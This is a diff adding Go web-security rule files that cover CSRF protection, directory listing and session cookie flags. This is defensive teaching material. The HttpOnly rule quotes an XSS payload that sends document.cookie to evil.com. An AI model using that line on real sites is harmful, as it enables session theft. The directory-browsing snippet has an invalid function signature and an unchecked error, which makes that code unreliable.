|
+
|
|
53
|
+
**Recommended limits:**
|
|
54
|
+
- Images: 5-10MB
|
|
55
|
+
- Documents: 10-50MB
|
|
56
|
+
- Max total request size: 100MB
|
|
57
|
+
|
|
58
|
+
**Tools:** `http.MaxBytesReader`, NGINX `client_max_body_size`
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Apply CSRF Protection
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents cross-site request forgery attacks
|
|
5
|
+
tags: csrf, tokens, forms, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Apply CSRF Protection
|
|
9
|
+
|
|
10
|
+
CSRF attacks force authenticated users to perform unintended actions in a web application in which they're currently authenticated.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no CSRF protection):**
|
|
13
|
+
|
|
14
|
+
```html
|
|
15
|
+
<!-- No CSRF token - vulnerable if using cookie-based auth -->
|
|
16
|
+
<form action="/transfer" method="POST">
|
|
17
|
+
<input name="amount" value="1000">
|
|
18
|
+
<button>Transfer</button>
|
|
19
|
+
</form>
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (CSRF protection using gorilla/csrf):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
import "github.com/gorilla/csrf"
|
|
26
|
+
|
|
27
|
+
func main() {
|
|
28
|
+
CSRF := csrf.Protect([]byte("32-byte-long-auth-key"))
|
|
29
|
+
http.ListenAndServe(":8000", CSRF(r))
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
func TransferHandler(w http.ResponseWriter, r *http.Request) {
|
|
33
|
+
// Pass the token to the template
|
|
34
|
+
w.Header().Set("X-CSRF-Token", csrf.Token(r))
|
|
35
|
+
// r.FormValue("gorilla.csrf.Token") is also checked automatically
|
|
36
|
+
}
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
```html
|
|
40
|
+
<form action="/transfer" method="POST">
|
|
41
|
+
<!-- Use a hidden field for the token -->
|
|
42
|
+
<input type="hidden" name="gorilla.csrf.Token" value="{{ .csrfToken }}">
|
|
43
|
+
<input name="amount">
|
|
44
|
+
<button>Transfer</button>
|
|
45
|
+
</form>
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Defense Depth:**
|
|
49
|
+
- Use `SameSite=Strict` or `Lax` for cookies.
|
|
50
|
+
- Use `Authorization: Bearer` (not cookies) for APIs.
|
|
51
|
+
- Custom headers (e.g., `X-Requested-With`) for AJAX.
|
|
52
|
+
|
|
53
|
+
**Tools:** `gorilla/csrf`, `nosurf`, SameSite cookies
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Disable Directory Browsing
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents file enumeration
|
|
5
|
+
tags: directory, listing, file-exposure, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Disable Directory Browsing
|
|
9
|
+
|
|
10
|
+
Directory listing exposes file structure and potentially sensitive files.
|
|
11
|
+
|
|
12
|
+
**Incorrect (directory listing enabled):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// http.FileServer enables directory listing by default
|
|
16
|
+
// if index.html is missing.
|
|
17
|
+
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("./public"))))
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
**Correct (directory listing disabled):**
|
|
21
|
+
|
|
22
|
+
```go
|
|
23
|
+
type neuteredFileSystem struct {
|
|
24
|
+
fs http.FileSystem
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
func (nfs neuteredFileSystem) Open(path string) (http.File(f), error) {
|
|
28
|
+
f, err := nfs.fs.Open(path)
|
|
29
|
+
if err != nil {
|
|
30
|
+
return nil, err
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
s, err := f.Stat()
|
|
34
|
+
if s.IsDir() {
|
|
35
|
+
index := filepath.Join(path, "index.html")
|
|
36
|
+
if _, err := nfs.fs.Open(index); err != nil {
|
|
37
|
+
closeErr := f.Close()
|
|
38
|
+
if closeErr != nil {
|
|
39
|
+
return nil, closeErr
|
|
40
|
+
}
|
|
41
|
+
return nil, err
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
return f, nil
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// Usage
|
|
49
|
+
fs := neuteredFileSystem{http.Dir("./public")}
|
|
50
|
+
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(fs)))
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**Tools:** Web server configuration, Custom `FileSystem` implementation
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set Secure Flag On Session Cookies
|
|
3
|
+
impact: HIGH
|
|
4
|
+
impactDescription: prevents cookie theft over unencrypted connections
|
|
5
|
+
tags: cookies, secure, https, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set Secure Flag On Session Cookies
|
|
9
|
+
|
|
10
|
+
Without the Secure flag, cookies can be sent over unencrypted HTTP connections.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no Secure flag):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
cookie := &http.Cookie{
|
|
16
|
+
Name: "session",
|
|
17
|
+
Value: token,
|
|
18
|
+
}
|
|
19
|
+
http.SetCookie(w, cookie) // No Secure flag!
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (Secure flag set):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
cookie := &http.Cookie{
|
|
26
|
+
Name: "session",
|
|
27
|
+
Value: token,
|
|
28
|
+
Secure: true, // HTTPS only
|
|
29
|
+
HttpOnly: true,
|
|
30
|
+
SameSite: http.SameSiteStrictMode,
|
|
31
|
+
}
|
|
32
|
+
http.SetCookie(w, cookie)
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
**Production enforcement:**
|
|
36
|
+
|
|
37
|
+
```go
|
|
38
|
+
isProduction := os.Getenv("ENV") == "production"
|
|
39
|
+
|
|
40
|
+
cookie := &http.Cookie{
|
|
41
|
+
Name: "session",
|
|
42
|
+
Value: token,
|
|
43
|
+
Secure: isProduction,
|
|
44
|
+
HttpOnly: true,
|
|
45
|
+
}
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Tools:** `http.Cookie`, Security headers Audit
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set HttpOnly On Session Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: prevents cookie theft via XSS
|
|
5
|
+
tags: cookies, httponly, xss, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set HttpOnly On Session Cookies
|
|
9
|
+
|
|
10
|
+
Without HttpOnly, JavaScript can read cookie values, enabling XSS attacks to steal sessions.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no HttpOnly):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
cookie := &http.Cookie{
|
|
16
|
+
Name: "session",
|
|
17
|
+
Value: token,
|
|
18
|
+
}
|
|
19
|
+
// Default HttpOnly is false
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (HttpOnly set):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
cookie := &http.Cookie{
|
|
26
|
+
Name: "session",
|
|
27
|
+
Value: token,
|
|
28
|
+
HttpOnly: true, // Not accessible to JavaScript
|
|
29
|
+
Secure: true,
|
|
30
|
+
}
|
|
31
|
+
http.SetCookie(w, cookie)
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
**XSS attack example (prevented by HttpOnly):**
|
|
35
|
+
|
|
36
|
+
```javascript
|
|
37
|
+
// Attacker's XSS payload (blocked by HttpOnly)
|
|
38
|
+
fetch('https://evil.com/steal?cookie=' + document.cookie);
|
|
39
|
+
// With HttpOnly, session cookie is NOT in document.cookie
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
**Tools:** Browser DevTools, OWASP ZAP, `http.Cookie`
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Set SameSite On Session Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: provides CSRF protection
|
|
5
|
+
tags: cookies, samesite, csrf, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set SameSite On Session Cookies
|
|
9
|
+
|
|
10
|
+
SameSite attribute prevents cookies from being sent in cross-site requests, providing CSRF protection.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no SameSite):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
cookie := &http.Cookie{
|
|
16
|
+
Name: "session",
|
|
17
|
+
Value: token,
|
|
18
|
+
}
|
|
19
|
+
// Default SameSite might be 0 (none/browser default)
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (SameSite set):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
// Strict - most secure
|
|
26
|
+
cookie := &http.Cookie{
|
|
27
|
+
Name: "session",
|
|
28
|
+
Value: token,
|
|
29
|
+
SameSite: http.SameSiteStrictMode,
|
|
30
|
+
HttpOnly: true,
|
|
31
|
+
Secure: true,
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// Lax - allows top-level navigation (clicking links)
|
|
35
|
+
cookie := &http.Cookie{
|
|
36
|
+
Name: "session",
|
|
37
|
+
Value: token,
|
|
38
|
+
SameSite: http.SameSiteLaxMode,
|
|
39
|
+
}
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
**SameSite options in Go:**
|
|
43
|
+
- `http.SameSiteStrictMode`
|
|
44
|
+
- `http.SameSiteLaxMode`
|
|
45
|
+
- `http.SameSiteNoneMode` (requires `Secure: true`)
|
|
46
|
+
|
|
47
|
+
**Recommended:** `http.SameSiteStrictMode` for session cookies.
|
|
48
|
+
|
|
49
|
+
**Tools:** Browser DevTools, Security Scan
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Use __Host- Prefix For Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: ensures cookie is domain-locked
|
|
5
|
+
tags: cookies, prefix, domain, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Use __Host- Prefix For Cookies
|
|
9
|
+
|
|
10
|
+
The `__Host-` prefix ensures cookies are only sent to the exact host, preventing subdomain attacks.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no prefix):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
cookie := &http.Cookie{
|
|
16
|
+
Name: "session",
|
|
17
|
+
Value: token,
|
|
18
|
+
Secure: true,
|
|
19
|
+
Path: "/",
|
|
20
|
+
}
|
|
21
|
+
// Cookie could be set by subdomain attacker
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
**Correct (__Host- prefix):**
|
|
25
|
+
|
|
26
|
+
```go
|
|
27
|
+
cookie := &http.Cookie{
|
|
28
|
+
Name: "__Host-session",
|
|
29
|
+
Value: token,
|
|
30
|
+
Secure: true,
|
|
31
|
+
Path: "/",
|
|
32
|
+
HttpOnly: true,
|
|
33
|
+
SameSite: http.SameSiteStrictMode,
|
|
34
|
+
// Domain must NOT be set for __Host-
|
|
35
|
+
}
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
**__Host- requirements:**
|
|
39
|
+
- Must have `Secure: true`
|
|
40
|
+
- Must have `Path: "/"`
|
|
41
|
+
- Must NOT have `Domain` attribute set
|
|
42
|
+
- Cannot be set from a subdomain
|
|
43
|
+
|
|
44
|
+
**Tools:** Browser DevTools, Security Audit
|